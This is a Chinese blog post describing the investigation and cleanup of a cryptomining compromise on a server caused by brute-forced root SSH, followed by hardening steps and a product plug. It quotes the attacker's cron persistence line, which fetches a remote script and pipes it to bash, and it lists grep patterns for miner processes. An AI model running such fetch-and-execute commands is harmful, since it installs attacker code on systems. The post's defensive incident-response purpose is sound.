当前位置: 首页 > news >正文

服务器被黑了,我是怎么发现和处理的

上周五晚上10点,正准备关电脑下班,收到一条告警:服务器CPU 100%。

点开一看,好家伙,被挖矿了。

记录一下整个排查和处理过程,希望对大家有帮助。

发现异常

告警内容:

[CRITICAL] 生产服务器 192.168.1.100 CPU使用率 99.8% 持续时间:15分钟

第一反应:难道是流量突增?看了一下监控,QPS很正常,但CPU就是打满了。

SSH登上去看看:

top
PID USER %CPU COMMAND 12345 www-data 98.5 ./kdevtmpfsi

kdevtmpfsi?这是啥进程?百度一搜,典型的挖矿木马。

应急处理

第一时间:隔离

# 先把服务器从负载均衡摘掉# 或者直接断外网(但我需要SSH连接,所以没断)# 在防火墙上禁止该服务器对外连接iptables -A OUTPUT -j DROP# 只允许SSHiptables -I OUTPUT -p tcp --dport22-j ACCEPT

杀掉挖矿进程

# 找到进程psaux|grepkdevtmpfsi# 杀掉kill-912345# 但是几秒后又起来了...

说明有守护进程或者定时任务在重启它。

查找守护机制

# 检查定时任务crontab-lcat/etc/crontabls/etc/cron.d/cat/var/spool/cron/crontabs/*

发现了:

# /var/spool/cron/crontabs/www-data*/5 * * * *curl-s http://xxx.xxx/b.sh|bash

每5分钟从外部下载脚本执行。

# 删除定时任务crontab-r -u www-data# 再查一下有没有别的grep-r"kdevtmpfsi"/etc/grep-r"curl.*\.sh"/var/

还找到了几个地方:

# /etc/rc.local 里被加了一行/tmp/.cache/kdevtmpfsi&# 删掉vim/etc/rc.local

清理木马文件

# 找到所有可疑文件find/ -name"kdevtmpfsi"2>/dev/nullfind/ -name".cache"-type d2>/dev/nullfind/tmp -type f -executable2>/dev/null# 删除rm-rf /tmp/.cacherm-rf /var/tmp/.cache

检查SSH后门

# 检查authorized_keyscat/root/.ssh/authorized_keyscat/home/*/.ssh/authorized_keys# 发现多了一个不认识的公钥,删掉

溯源分析

木马清理完了,得查查怎么进来的。

检查登录日志

# 查看最近登录last lastb# 失败的登录# 查看SSH日志grep"Accepted"/var/log/auth.log|tail-50

发现凌晨3点有一次root登录,来自一个国外IP。

但我们的root是禁止远程登录的啊?

cat/etc/ssh/sshd_config|grepPermitRootLogin# PermitRootLogin yes

谁改的?git blame一下配置管理…原来是之前同事调试的时候开的,忘记关了。

检查入侵方式

继续分析日志:

grep"Failed password"/var/log/auth.log|wc-l# 85432

8万多次失败登录,典型的暴力破解。

再看成功的那次:

grep"Accepted password for root"/var/log/auth.log# Dec 15 03:24:17 server sshd[12345]: Accepted password for root from 45.xx.xx.xx

密码是什么?检查一下root密码复杂度…

问了一圈,得知root密码是Admin@123

典型的弱密码,字典里肯定有。

根因总结

入侵链路:

1. SSH对外开放22端口 ✓ 2. 允许root远程登录 ✓ 3. root使用弱密码 ✓ 4. 被暴力破解成功 5. 下载挖矿木马 6. 添加定时任务保持持久化

每一步都是安全隐患,叠加起来就被黑了。

加固措施

1. SSH安全加固

# /etc/ssh/sshd_config# 禁止root登录PermitRootLogin no# 禁止密码登录,只用密钥PasswordAuthentication no PubkeyAuthenticationyes# 改端口(可选)Port22022# 只允许特定用户AllowUsers admin ops# 重启SSHsystemctl restart sshd

2. 安装fail2ban

aptinstallfail2ban -y# 配置cat>/etc/fail2ban/jail.local<<EOF [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 86400 findtime = 600 EOFsystemctlenablefail2ban systemctl start fail2ban

5次失败就封IP一天。

3. 防火墙限制

# 只允许公司IP访问SSHiptables -A INPUT -p tcp --dport22-s 公司IP -j ACCEPT iptables -A INPUT -p tcp --dport22-j DROP

4. 密码策略

# 安装密码复杂度检查aptinstalllibpam-pwquality# /etc/security/pwquality.confminlen=12dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-1

5. 监控告警

加了几个告警规则:

  • CPU持续高于80%超过5分钟
  • 新增定时任务时告警
  • SSH登录成功告警(非白名单IP)
  • 异常外连告警

远程应急的问题

这次还好我在公司,直接SSH上去处理了。

如果是半夜在家收到告警呢?家里连不上公司内网服务器。

之前的方案是开远程专线,但:

  • 连接经常断
  • 手机上操作很麻烦
  • 有些服务器在隔离网段,专线也连不上

后来用星空组网把服务器都组到一起,不管在哪都能SSH连上,应急方便多了。

事后复盘

该做没做的

  • 定期安全扫描
  • 配置文件变更审计
  • SSH配置检查纳入部署流程
  • 密码定期更换

侥幸逃过的

  • 幸好只是挖矿,不是勒索病毒
  • 幸好数据库没被拖
  • 幸好发现得早

改进措施

  1. 所有服务器SSH配置统一管理(Ansible)
  2. 每月安全扫描
  3. 新服务器上线必须经过安全检查
  4. 重要服务器禁止密码登录

常见挖矿木马特征

最后总结一下常见的挖矿木马特征,方便排查:

进程名特征
kdevtmpfsi最常见
kinsing配套木马
xmrig门罗币挖矿
*.sh在/tmp下可疑脚本
# 快速检查命令psaux|grep-E"kdevtmpfsi|kinsing|xmrig|cryptonight"find/tmp /var/tmp -type f -executablecrontab-lcat/etc/rc.local

希望大家的服务器都平平安安,不要遇到这种事。

有安全相关的问题可以评论区交流。

http://www.cnnetsun.cn/news/179436.html

相关文章:

  • 股票基础-第32课-投资组合构建与管理
  • 【电商运营必看】Open-AutoGLM如何实现98%好评回复满意度?
  • 【高可用架构设计】:基于Open-AutoGLM的电商库存自动监控系统搭建指南
  • 【电商运营效率提升300%】:Open-AutoGLM自动化报名落地全攻略
  • AI生成圣诞视觉图:从节日元素到创意落地的路径
  • 揭秘Open-AutoGLM自动报名系统:如何3步完成电商大促流量收割
  • Open-AutoGLM如何重构电商运营?:5大核心模块深度解析与落地指南
  • 零基础学网安,NISP 证书到底值不值?别白花钱还没效果!
  • PCB蚀刻常见缺陷-资深工程师的经验总结
  • COMSOL模拟:压电-热释电纳米发电系统中的压电薄膜三维模型文章复现
  • 鸿蒙前端开发,零基础入门到精通,收藏这篇就够了
  • vscode怎么启动前端项目,零基础入门到精通,收藏这篇就够了
  • 一文搞懂:AI Agent 八大核心概念(小白程序员收藏版)
  • 收藏!大龄程序员转型难在哪?4大核心痛点拆解+破局方向
  • 【Open-AutoGLM电商评价自动回复】:揭秘AI自动生成高转化率评价回复的底层逻辑
  • 9款AI写论文哪个好?实测对比后,只有宏智树AI能一键生成带真实数据图表+知网可查文献的毕业论文
  • 从泄露到合规:Open-AutoGLM日志权限改造全流程(含RBAC模型落地细节)
  • 阻塞队列:线程池核心机制take() vs poll()
  • 【2025最新】基于SpringBoot+Vue的宠物商城网站管理系统源码+MyBatis+MySQL
  • LangFlow Reactor反应器模式响应事件
  • ECharts 饼图(Pie Chart)教程
  • Open-AutoGLM日志加密部署难题:90%团队忽略的2个致命风险点
  • 精密机械工厂6个研发如何共享一台SolidWorks云工作站
  • Open-AutoGLM监控总失效?99%人忽略的3个配置陷阱
  • LangFlow静态站点生成(SSG)可行性探讨
  • Linux 如何设置开机自启:全面指南!
  • Docker Compose 实战教程,理解Docker Compose核心概念,学会编写 compose.yml,掌握常用命令!
  • 科研征途的“智慧导航”:书匠策AI文献综述功能开启学术新视界
  • C语言程序设计基础入门
  • 地埋式积水监测站:道路积水监测系统